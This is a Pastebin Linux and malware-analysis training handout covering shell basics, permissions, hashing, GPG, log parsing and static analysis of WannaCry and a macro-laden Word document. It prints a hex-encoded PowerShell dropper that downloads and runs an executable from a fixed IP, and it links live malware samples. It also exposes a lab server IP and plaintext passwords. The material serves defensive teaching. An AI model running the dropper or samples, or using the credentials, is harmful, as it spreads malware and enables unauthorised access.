Advertisement
joemccray

PMRF Linux Basics

Jul 9th, 2019
1,760
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #####################################################
  2. # PMRF Intro to Linux & Comptia Linux+ Exam Prep #
  3. # By Joe McCray aegisweaponssystem #
  4. #####################################################
  5.  
  6. - Here is a good set of slides for getting started with Linux:
  7. http://www.slideshare.net/olafusimichael/linux-training-24086319
  8.  
  9.  
  10. - Here is a good tutorial that you should complete before doing the labs below:
  11. http://linuxsurvival.com/linux-tutorial-introduction/
  12.  
  13.  
  14. - I prefer to use Putty to SSH into my Linux host.
  15. - You can download Putty from here:
  16. - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  17.  
  18. Here is the information to put into putty
  19.  
  20. Host Name: 45.32.217.27
  21. protocol: ssh
  22. port: 22
  23. username: pmrf
  24. password:
  25.  
  26.  
  27. ########################
  28. # Basic Linux Commands #
  29. ########################
  30.  
  31. ---------------------------Type This-----------------------------------
  32. cd ~
  33.  
  34. pwd
  35.  
  36. whereis pwd
  37.  
  38. which pwd
  39.  
  40. sudo find / -name pwd
  41.  
  42. /bin/pwd
  43.  
  44. mkdir yourname <---- replace 'yourname' with your first name in lowercase with no spaces or special characters please
  45.  
  46. cd yourname <---- replace 'yourname' with your first name in lowercase with no spaces or special characters please
  47.  
  48. touch one two three
  49.  
  50. ls -l t (without pressing the Enter key, press the Tab key twice. What happens?)
  51.  
  52. h (and again without pressing the Enter key, press the Tab key twice. What happens?)
  53.  
  54. Press the 'Up arrow key' (What happens?)
  55.  
  56. Press 'Ctrl-A' (What happens?)
  57.  
  58. ls
  59.  
  60. clear (What happens?)
  61.  
  62. echo one > one
  63.  
  64. cat one (What happens?)
  65.  
  66. man cat (What happens?)
  67. q
  68.  
  69. cat two
  70.  
  71. cat one > two
  72.  
  73. cat two
  74.  
  75. cat one two > three
  76.  
  77. cat three
  78.  
  79. echo four >> three
  80.  
  81. cat three (What happens?)
  82.  
  83. wc -l three
  84.  
  85. man wc
  86. q
  87.  
  88. info wc
  89. q
  90.  
  91. cat three | grep four
  92.  
  93. cat three | grep one
  94.  
  95. man grep
  96. q
  97.  
  98.  
  99. man ps
  100. q
  101.  
  102. ps
  103.  
  104. ps aux
  105.  
  106. ps aux | less
  107.  
  108. Press the 'Up arrow key' (What happens?)
  109.  
  110. Press the 'Down arrow key' (What happens?)
  111. q
  112.  
  113. top
  114. q
  115. -----------------------------------------------------------------------
  116.  
  117.  
  118. #########
  119. # Files #
  120. #########
  121. ---------------------------Type This-----------------------------------
  122. cd ~
  123.  
  124. pwd
  125.  
  126. cd ~/yourname/
  127.  
  128. pwd
  129.  
  130. ls
  131.  
  132. mkdir LinuxBasics
  133.  
  134. cd LinuxBasics
  135.  
  136. pwd
  137.  
  138. ls
  139.  
  140. mkdir files
  141.  
  142. cp one files/
  143.  
  144. ls files/
  145.  
  146. cd files/
  147.  
  148. cp ../two .
  149.  
  150. ls
  151.  
  152. cp ../three .
  153.  
  154. ls
  155.  
  156. tar cvf files.tar *
  157.  
  158. ls
  159.  
  160. gzip files.tar
  161.  
  162. ls
  163.  
  164. rm -rf one two three
  165.  
  166. ls
  167.  
  168. tar -zxvf files.tar.gz
  169.  
  170. rm -rf files.tar.gz
  171.  
  172. zip data *
  173.  
  174. unzip -l data.zip
  175.  
  176. mkdir /tmp/yourname/
  177.  
  178. unzip data.zip -d /tmp/yourname/
  179. -----------------------------------------------------------------------
  180.  
  181.  
  182.  
  183. ############
  184. # VIM Demo #
  185. ############
  186. ---------------------------Type This-----------------------------------
  187. cd ~/yourname/LinuxBasics
  188.  
  189. mkdir vimlesson
  190.  
  191. cd vimlesson
  192.  
  193. vi lesson1.sh
  194.  
  195. i (press "i" to get into INSERT mode and then paste in the lines below)
  196.  
  197. #!/bin/bash
  198.  
  199. echo "This is my first time using vi to create a shell script"
  200. echo " "
  201. echo " "
  202. echo " "
  203. sleep 5
  204. echo "Ok, now let's clear the screen"
  205. sleep 3
  206. clear
  207.  
  208.  
  209. ---------------don't put this line in your script----------------------------
  210.  
  211. ESC (press the ESC key to get you out of INSERT mode)
  212.  
  213. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  214.  
  215.  
  216. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  217.  
  218.  
  219.  
  220. vi lesson1.sh
  221.  
  222. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  223.  
  224. set number (typing "set number" immediately after SHIFT: will add line numbers to vim).
  225.  
  226. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  227.  
  228.  
  229.  
  230.  
  231. vi lesson1.sh
  232.  
  233. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  234.  
  235. set number (typing "set number" immediately after SHIFT: will add line numbers to vim).
  236.  
  237.  
  238. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  239.  
  240. /echo (typing "/echo" immediately after SHIFT: will search the file for the word echo).
  241.  
  242. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  243.  
  244. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  245.  
  246.  
  247.  
  248.  
  249. vi lesson1.sh
  250.  
  251. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  252.  
  253. set number (typing "set number" immediately after SHIFT: will add line numbers to vim).
  254.  
  255.  
  256. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  257.  
  258. 4 (typing "4" immediately after SHIFT: will take you to line number 4).
  259.  
  260. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  261.  
  262. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  263.  
  264.  
  265.  
  266.  
  267. vi lesson1.sh
  268.  
  269. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  270.  
  271. set number (typing "set number" immediately after SHIFT: will add line numbers to vim).
  272.  
  273.  
  274. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  275.  
  276. 4 (typing "4" immediately after SHIFT: will take you to line number 4).
  277.  
  278. dd (typing "dd" will delete the line that you are on)
  279.  
  280. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  281.  
  282. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  283.  
  284.  
  285.  
  286.  
  287. vi lesson1.sh
  288.  
  289. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  290.  
  291. set number (typing "set number" immediately after SHIFT: will add line numbers to vim).
  292.  
  293.  
  294. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  295.  
  296. 4 (typing "4" immediately after SHIFT: will take you to line number 4).
  297.  
  298. dd (typing "dd" will delete the line that you are on)
  299.  
  300. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  301.  
  302. syntax on (typing "syntax on" immediately after SHIFT: will turn on syntax highlighting
  303.  
  304. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  305.  
  306. set tabstop=5 (typing "set tabstop=5" immediately after SHIFT: will set your tabs to 5 spaces
  307.  
  308. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  309.  
  310. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  311.  
  312.  
  313.  
  314.  
  315. vi .vimrc
  316. i (press "i" to get into INSERT mode and then paste in the lines below)
  317.  
  318.  
  319. set number
  320. syntax on
  321. set tabstop=5
  322.  
  323. ESC (press the ESC key to get you out of INSERT mode)
  324.  
  325. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  326.  
  327. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  328.  
  329.  
  330.  
  331.  
  332.  
  333.  
  334. vi lesson1.sh
  335.  
  336. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  337.  
  338. echo $MYVIMRC (typing "echo $MYVIMRC" immediately after SHIFT: will display the path to your new .vimrc file
  339.  
  340. [SHIFT+:] (press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.
  341.  
  342. wq (typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
  343. -----------------------------------------------------------------------
  344.  
  345.  
  346.  
  347.  
  348.  
  349.  
  350.  
  351.  
  352. ###############
  353. # Permissions #
  354. ###############
  355. ---------------------------Type This-----------------------------------
  356. cd ~/yourname/LinuxBasics
  357.  
  358. ls -l one
  359. -----------------------------------------------------------------------
  360. We can determine a lot from examining the results of this command. The file "one" is owned by user "me".
  361. Now "me" has the right to read and write this file.
  362. The file is owned by the group "me". Members of the group "me" can also read and write this file.
  363. Everybody else can read this file
  364.  
  365.  
  366. ---------------------------Type This-----------------------------------
  367. ls -l /bin/bash
  368. -----------------------------------------------------------------------
  369.  
  370. Here we can see:
  371.  
  372. The file "/bin/bash" is owned by user "root". The superuser has the right to read, write, and execute this file.
  373. The file is owned by the group "root". Members of the group "root" can also read and execute this file. Everybody else can read and execute this file
  374.  
  375.  
  376. The next command you need to know is "chmod"
  377. rwx rwx rwx = 111 111 111
  378. rw- rw- rw- = 110 110 110
  379. rwx --- --- = 111 000 000
  380.  
  381. and so on...
  382.  
  383. rwx = 111 in binary = 7
  384. rw- = 110 in binary = 6
  385. r-x = 101 in binary = 5
  386. r-- = 100 in binary = 4
  387.  
  388.  
  389. ---------------------------Type This-----------------------------------
  390. ls -l one
  391.  
  392. chmod 600 one
  393.  
  394. ls -l one
  395.  
  396. sudo useradd yourname
  397. aegisweaponssystem
  398.  
  399.  
  400. sudo passwd yourname
  401.  
  402. P@$$w0rd321
  403. P@$$w0rd321
  404.  
  405. sudo chown testuser one
  406. aegisweaponssystem
  407.  
  408. ls -l one
  409.  
  410. sudo chgrp testuser one
  411. aegisweaponssystem
  412.  
  413. ls -l one
  414.  
  415. id
  416.  
  417. su testuser
  418. P@$$w0rd321
  419. -----------------------------------------------------------------------
  420.  
  421. Here is a table of numbers that covers all the common settings. The ones beginning with "7" are used with programs (since they enable execution) and the rest are for other kinds of files.
  422.  
  423. Value Meaning
  424. 777 (rwxrwxrwx) No restrictions on permissions. Anybody may do anything. Generally not a desirable setting.
  425.  
  426. 755 (rwxr-xr-x) The file's owner may read, write, and execute the file. All others may read and execute the file. This setting is common for programs that are used by all users.
  427.  
  428. 700 (rwx------) The file's owner may read, write, and execute the file. Nobody else has any rights. This setting is useful for programs that only the owner may use and must be kept private from others.
  429.  
  430. 666 (rw-rw-rw-) All users may read and write the file.
  431.  
  432. 644 (rw-r--r--) The owner may read and write a file, while all others may only read the file. A common setting for data files that everybody may read, but only the owner may change.
  433.  
  434. 600 (rw-------) The owner may read and write a file. All others have no rights. A common setting for data files that the owner wants to keep private.
  435.  
  436.  
  437.  
  438. Directory permissions
  439. ---------------------
  440. The chmod command can also be used to control the access permissions for directories. In most ways, the permissions scheme for directories works the same way as they do with files. However, the execution permission is used in a different way. It provides control for access to file listing and other things. Here are some useful settings for directories:
  441.  
  442. Value Meaning
  443. 777 (rwxrwxrwx) No restrictions on permissions.
  444. Anybody may list files, create new files in the directory and delete files in the directory.
  445. Generally not a good setting.
  446.  
  447.  
  448.  
  449. 755 (rwxr-xr-x) The directory owner has full access.
  450. All others may list the directory, but cannot create files nor delete them.
  451. This setting is common for directories that you wish to share with other users.
  452.  
  453.  
  454.  
  455. 700 (rwx------) The directory owner has full access. Nobody else has any rights. This setting is useful for directories that only the owner may use and must be kept private from others.
  456.  
  457. ######################
  458. # Process Management #
  459. ######################
  460. ---------------------------Type This-----------------------------------
  461. top
  462. q
  463.  
  464. htop
  465. q
  466.  
  467. ps
  468.  
  469. ps aux
  470.  
  471. ps -A
  472.  
  473. ps -A | less
  474.  
  475. ps axjf
  476.  
  477. pstree
  478.  
  479. pstree -A
  480.  
  481. pgrep bash
  482.  
  483. pgrep init
  484.  
  485. ps aux | grep apache
  486. -----------------------------------------------------------------------
  487.  
  488.  
  489.  
  490. You can list all of the signals that are possible to send with kill by typing:
  491. ---------------------------Type This-----------------------------------
  492. kill -l
  493.  
  494. sudo kill -HUP pid_of_apache
  495.  
  496. The pkill command works in almost exactly the same way as kill, but it operates on a process name instead:
  497.  
  498. pkill -9 ping
  499. The above command is the equivalent of:
  500.  
  501. kill -9 `pgrep ping`
  502. -----------------------------------------------------------------------
  503.  
  504.  
  505.  
  506.  
  507. ################
  508. # Hashing Demo #
  509. ################
  510. ---------------------------Type This-----------------------------------
  511. cd ~/yourname/LinuxBasics
  512.  
  513. mkdir hashdemo
  514.  
  515. cd hashdemo
  516.  
  517. echo test > test.txt
  518.  
  519. cat test.txt
  520.  
  521. md5sum test.txt
  522.  
  523. echo hello >> test.txt
  524.  
  525. cat test.txt
  526.  
  527. md5sum test.txt
  528.  
  529. echo test2 > test2.txt
  530.  
  531. cat test2.txt
  532.  
  533. sha256sum test2.txt
  534.  
  535. echo hello >> test2.txt
  536.  
  537. cat test2.txt
  538.  
  539. sha256sum test2.txt
  540.  
  541. cd ..
  542. -----------------------------------------------------------------------
  543.  
  544.  
  545.  
  546. #################################
  547. # Symmetric Key Encryption Demo #
  548. #################################
  549. ---------------------------Type This-----------------------------------
  550. cd ~/yourname/LinuxBasics
  551.  
  552. mkdir gpgdemo
  553.  
  554. cd gpgdemo
  555.  
  556. echo test > test.txt
  557.  
  558. cat test.txt
  559.  
  560. gpg -c test.txt
  561. password
  562. password
  563.  
  564. ls | grep test
  565.  
  566. cat test.txt
  567.  
  568. cat test.txt.gpg
  569.  
  570. rm -rf test.txt
  571.  
  572. ls | grep test
  573.  
  574. gpg -o output.txt test.txt.gpg
  575. password
  576.  
  577. cat output.txt
  578. -----------------------------------------------------------------------
  579.  
  580.  
  581.  
  582. #########################################################################################################################
  583. # Asymmetric Key Encryption Demo #
  584. # #
  585. # Configure random number generator #
  586. # https://www.howtoforge.com/helping-the-random-number-generator-to-gain-enough-entropy-with-rng-tools-debian-lenny #
  587. #########################################################################################################################
  588. ---------------------------Type This-----------------------------------
  589. cd ~/yourname/LinuxBasics/gpgdemo
  590.  
  591. echo hello > file1.txt
  592.  
  593. echo goodbye > file2.txt
  594.  
  595. echo green > file3.txt
  596.  
  597. echo blue > file4.txt
  598.  
  599. tar czf files.tar.gz *.txt
  600.  
  601. gpg --gen-key
  602. 1
  603. 1024
  604. 0
  605. y
  606. John Doe
  607. --blank comment--
  608. O
  609. password
  610. password
  611.  
  612.  
  613.  
  614. gpg --armor --output file-enc-pubkey.txt --export 'John Doe'
  615.  
  616. cat file-enc-pubkey.txt
  617.  
  618. gpg --armor --output file-enc-privkey.asc --export-secret-keys 'John Doe'
  619.  
  620. cat file-enc-privkey.asc
  621.  
  622. gpg --encrypt --recipient 'John Doe' files.tar.gz
  623.  
  624. rm -rf files.tar.gz *.txt
  625.  
  626. ls
  627.  
  628. tar -zxvf files.tar.gz.gpg
  629.  
  630. gpg --output output.tar.gz --decrypt files.tar.gz.gpg
  631. password
  632.  
  633. tar -zxvf output.tar.gz
  634.  
  635. ls
  636. -----------------------------------------------------------------------
  637.  
  638.  
  639.  
  640. ##############################################
  641. # Log Analysis with Linux command-line tools #
  642. ##############################################
  643. - The following command line executables are found in the Mac as well as most Linux Distributions.
  644.  
  645. cat – prints the content of a file in the terminal window
  646. grep – searches and filters based on patterns
  647. awk – can sort each row into fields and display only what is needed
  648. sed – performs find and replace functions
  649. sort – arranges output in an order
  650. uniq – compares adjacent lines and can report, filter or provide a count of duplicates
  651.  
  652.  
  653.  
  654.  
  655.  
  656. ##############
  657. # Cisco Logs #
  658. ##############
  659. ---------------------------Type This-----------------------------------
  660. wget https://s3.amazonaws.com/infosecaddictsfiles/cisco.log
  661. -----------------------------------------------------------------------
  662.  
  663.  
  664. AWK Basics
  665. ----------
  666. - To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
  667. ---------------------------Type This-----------------------------------
  668. cat cisco.log | awk '{print $5}' | tail -n 4
  669. -----------------------------------------------------------------------
  670.  
  671.  
  672.  
  673. - Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
  674. ---------------------------Type This-----------------------------------
  675. cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
  676. -----------------------------------------------------------------------
  677.  
  678.  
  679.  
  680. - While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
  681. ---------------------------Type This-----------------------------------
  682. cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
  683. -----------------------------------------------------------------------
  684.  
  685.  
  686.  
  687.  
  688. - Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
  689. ---------------------------Type This-----------------------------------
  690. cat cisco.log | grep %LINEPROTO-5-UPDOWN:
  691.  
  692. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
  693.  
  694. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
  695.  
  696. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
  697. -----------------------------------------------------------------------
  698.  
  699.  
  700. ################
  701. # The Scenario #
  702. ################
  703. You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
  704.  
  705.  
  706. The fastest thing you can do is perform static analysis.
  707.  
  708.  
  709.  
  710. ###################
  711. # Static Analysis #
  712. ###################
  713.  
  714. - After logging please open a terminal window and type the following commands:
  715. ---------------------------Type This-----------------------------------
  716. cd Desktop/
  717. -----------------------------------------------------------------------
  718.  
  719. - This is actual Malware (remmeber to run it in a VM - the password to extract it is 'infected':
  720.  
  721. ---------------------------Type This-----------------------------------
  722. cd ~/Desktop/
  723. wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip --no-check-certificate
  724. wget https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py --no-check-certificate
  725.  
  726. unzip malware-password-is-infected.zip
  727. infected
  728.  
  729. file malware.exe
  730.  
  731. mv malware.exe malware.pdf
  732.  
  733. file malware.pdf
  734.  
  735. mv malware.pdf malware.exe
  736.  
  737. hexdump -n 2 -C malware.exe
  738. -----------------------------------------------------------------------
  739.  
  740.  
  741. ***What is '4d 5a' or 'MZ'***
  742. Reference:
  743. http://www.garykessler.net/library/file_sigs.html
  744.  
  745. ---------------------------Type This-----------------------------------
  746. objdump -x malware.exe
  747.  
  748. strings malware.exe
  749.  
  750. strings --all malware.exe | head -n 6
  751.  
  752. strings malware.exe | grep -i dll
  753.  
  754. strings malware.exe | grep -i library
  755.  
  756. strings malware.exe | grep -i reg
  757.  
  758. strings malware.exe | grep -i hkey
  759.  
  760. strings malware.exe | grep -i hku
  761. -----------------------------------------------------------------------
  762. - We didn't see anything like HKLM, HKCU or other registry type stuff
  763.  
  764.  
  765. ---------------------------Type This-----------------------------------
  766. strings malware.exe | grep -i irc
  767.  
  768. strings malware.exe | grep -i join
  769.  
  770. strings malware.exe | grep -i admin
  771.  
  772. strings malware.exe | grep -i list
  773. -----------------------------------------------------------------------
  774.  
  775. - List of IRC commands: https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands
  776.  
  777. ---------------------------Type This-----------------------------------
  778. sudo apt-get install -y python-pefile
  779. malware
  780.  
  781. vi analyse_malware.py
  782.  
  783. python analyse_malware.py malware.exe
  784. -----------------------------------------------------------------------
  785.  
  786.  
  787.  
  788.  
  789. ################################
  790. # Good references for WannaCry #
  791. ################################
  792.  
  793. References:
  794.  
  795. https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168
  796. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  797. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  798.  
  799.  
  800.  
  801. - After logging please open a terminal window and type the following commands:
  802. ---------------------------Type This-----------------------------------
  803. cd Desktop/
  804.  
  805. wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
  806.  
  807. unzip wannacry.zip
  808. infected
  809.  
  810. file wannacry.exe
  811.  
  812. mv wannacry.exe malware.pdf
  813.  
  814. file malware.pdf
  815.  
  816. mv malware.pdf wannacry.exe
  817.  
  818. hexdump -n 2 -C wannacry.exe
  819. -----------------------------------------------------------------------
  820.  
  821.  
  822.  
  823. ***What is '4d 5a' or 'MZ'***
  824. Reference:
  825. http://www.garykessler.net/library/file_sigs.html
  826.  
  827.  
  828.  
  829.  
  830. ---------------------------Type This-----------------------------------
  831. objdump -x wannacry.exe
  832.  
  833. strings wannacry.exe
  834.  
  835. strings --all wannacry.exe | head -n 6
  836.  
  837. strings wannacry.exe | grep -i dll
  838.  
  839. strings wannacry.exe | grep -i library
  840.  
  841. strings wannacry.exe | grep -i reg
  842.  
  843. strings wannacry.exe | grep -i key
  844.  
  845. strings wannacry.exe | grep -i rsa
  846.  
  847. strings wannacry.exe | grep -i open
  848.  
  849. strings wannacry.exe | grep -i get
  850.  
  851. strings wannacry.exe | grep -i mutex
  852.  
  853. strings wannacry.exe | grep -i irc
  854.  
  855. strings wannacry.exe | grep -i join
  856.  
  857. strings wannacry.exe | grep -i admin
  858.  
  859. strings wannacry.exe | grep -i list
  860. -----------------------------------------------------------------------
  861.  
  862.  
  863.  
  864.  
  865.  
  866.  
  867.  
  868.  
  869.  
  870.  
  871. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
  872.  
  873. Quick Google search for "wannacry ransomeware analysis"
  874.  
  875.  
  876. Reference
  877. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  878.  
  879. - Yara Rule -
  880.  
  881.  
  882. Strings:
  883. $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
  884. $s2 = “Wanna Decryptor” wide ascii nocase
  885. $s3 = “.wcry” wide ascii nocase
  886. $s4 = “WANNACRY” wide ascii nocase
  887. $s5 = “WANACRY!” wide ascii nocase
  888. $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
  889.  
  890.  
  891.  
  892.  
  893.  
  894.  
  895.  
  896.  
  897. Ok, let's look for the individual strings
  898.  
  899.  
  900. ---------------------------Type This-----------------------------------
  901. strings wannacry.exe | grep -i ooops
  902.  
  903. strings wannacry.exe | grep -i wanna
  904.  
  905. strings wannacry.exe | grep -i wcry
  906.  
  907. strings wannacry.exe | grep -i wannacry
  908.  
  909. strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
  910. -----------------------------------------------------------------------
  911.  
  912.  
  913.  
  914.  
  915.  
  916.  
  917. ####################################
  918. # Tired of GREP - let's try Python #
  919. ####################################
  920. Decided to make my own script for this kind of stuff in the future. I
  921.  
  922. Reference1:
  923. https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
  924.  
  925. This is a really good script for the basics of static analysis
  926.  
  927. Reference:
  928. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  929.  
  930.  
  931. This is really good for showing some good signatures to add to the Python script
  932.  
  933.  
  934. Here is my own script using the signatures (started this yesterday, but still needs work):
  935. https://pastebin.com/guxzCBmP
  936.  
  937.  
  938.  
  939. ---------------------------Type This-----------------------------------
  940. sudo apt install -y python-pefile
  941. infosecaddicts
  942.  
  943.  
  944.  
  945. wget https://pastebin.com/raw/guxzCBmP
  946.  
  947.  
  948. mv guxzCBmP am.py
  949.  
  950.  
  951. vi am.py
  952.  
  953. python am.py wannacry.exe
  954. -----------------------------------------------------------------------
  955.  
  956.  
  957.  
  958.  
  959.  
  960.  
  961.  
  962. Building a Malware Scanner
  963. --------------------------
  964.  
  965. ---------------------------Type This-----------------------------------
  966. mkdir ~/Desktop/malwarescanner
  967.  
  968. cd ~/Desktop/malwarescanner
  969.  
  970. wget https://github.com/jonahbaron/malwarescanner/archive/master.zip
  971.  
  972. unzip master.zip
  973.  
  974. cd malwarescanner-master/
  975.  
  976. python scanner.py -h
  977.  
  978. cat strings.txt
  979.  
  980. cat hashes.txt
  981.  
  982. mkdir ~/Desktop/malcode
  983.  
  984. cp ~/Desktop/malware.exe ~/Desktop/malcode
  985.  
  986. python scanner.py -H hashes.txt -D ~/Desktop/malcode/ strings.txt
  987.  
  988. cd ~/Desktop/
  989. -----------------------------------------------------------------------
  990.  
  991.  
  992. #####################################################
  993. # Analyzing Macro Embedded Malware #
  994. # Reference: #
  995. # https://jon.glass/analyzes-dridex-malware-p1/ #
  996. #####################################################
  997. ---------------------------Type This-----------------------------------
  998. cd ~/Desktop/
  999.  
  1000.  
  1001. sudo pip install olefile
  1002.  
  1003.  
  1004. mkdir ~/Desktop/oledump
  1005.  
  1006. cd ~/Desktop/oledump
  1007.  
  1008. wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
  1009.  
  1010. unzip oledump_V0_0_22.zip
  1011.  
  1012. wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
  1013.  
  1014. unzip 064016.zip
  1015. infected
  1016.  
  1017. python oledump.py 064016.doc
  1018.  
  1019. python oledump.py 064016.doc -s A4 -v
  1020. -----------------------------------------------------------------------
  1021.  
  1022.  
  1023.  
  1024. - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
  1025. - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
  1026.  
  1027. ---------------------------Type This-----------------------------------
  1028. python oledump.py 064016.doc -s A5 -v
  1029. -----------------------------------------------------------------------
  1030.  
  1031. - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
  1032.  
  1033. ---------------------------Type This-----------------------------------
  1034. python oledump.py 064016.doc -s A3 -v
  1035.  
  1036. - Look for "GVhkjbjv" and you should see:
  1037.  
  1038. 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
  1039.  
  1040. - Take that long blob that starts with 636D and finishes with 653B and paste it in:
  1041. http://www.rapidtables.com/convert/number/hex-to-ascii.htm
  1042.  
  1043.  
  1044.  
  1045.  
  1046. ##############
  1047. # Yara Ninja #
  1048. ##############
  1049. ---------------------------Type This-----------------------------------
  1050. sudo apt-get remove -y yara
  1051.  
  1052.  
  1053. wget https://github.com/plusvic/yara/archive/v3.4.0.zip
  1054.  
  1055. sudo apt-get -y install libtool
  1056.  
  1057.  
  1058. unzip v3.4.0.zip
  1059.  
  1060. cd yara-3.4.0
  1061.  
  1062. ./bootstrap.sh
  1063.  
  1064. ./configure
  1065.  
  1066. make
  1067.  
  1068. sudo make install
  1069.  
  1070.  
  1071. yara -v
  1072.  
  1073. cd ..
  1074.  
  1075. wget https://github.com/Yara-Rules/rules/archive/master.zip
  1076.  
  1077. unzip master.zip
  1078.  
  1079. cd ~/Desktop
  1080.  
  1081. yara rules-master/packer.yar malcode/malware.exe
  1082. -----------------------------------------------------------------------
  1083.  
  1084. Places to get more Yara rules:
  1085. ------------------------------
  1086. https://malwareconfig.com/static/yaraRules/
  1087. https://github.com/kevthehermit/YaraRules
  1088. https://github.com/VectraThreatLab/reyara
  1089.  
  1090.  
  1091.  
  1092. Yara rule sorting script:
  1093. -------------------------
  1094. https://github.com/mkayoh/yarasorter
  1095.  
  1096.  
  1097. ---------------------------Type This-----------------------------------
  1098. cd ~/Desktop/rules-master
  1099. for i in $( ls *.yar --hide=master.yar ); do echo include \"$i\";done > master.yar
  1100. cd ~/Desktop/
  1101. yara rules-master/master.yar malcode/malware.exe
  1102. -----------------------------------------------------------------------
  1103.  
  1104.  
  1105.  
  1106.  
  1107.  
  1108.  
  1109.  
  1110.  
  1111.  
  1112. Here is a 2 million sample malware DB created by Derek Morton that you can use to start your DB with:
  1113. http://derekmorton.name/files/malware_12-14-12.sql.bz2
  1114.  
  1115.  
  1116. Malware Repositories:
  1117. http://malshare.com/index.php
  1118. http://www.malwareblacklist.com/
  1119. http://www.virusign.com/
  1120. http://virusshare.com/
  1121. http://www.tekdefense.com/downloads/malware-samples/
  1122.  
  1123.  
  1124.  
  1125.  
  1126. ###############################
  1127. # Creating a Malware Database #
  1128. ###############################
  1129.  
  1130. Creating a malware database (sqlite)
  1131. ---------------------------Type This-----------------------------------
  1132. sudo apt-get install -y python-simplejson python-simplejson-dbg
  1133.  
  1134.  
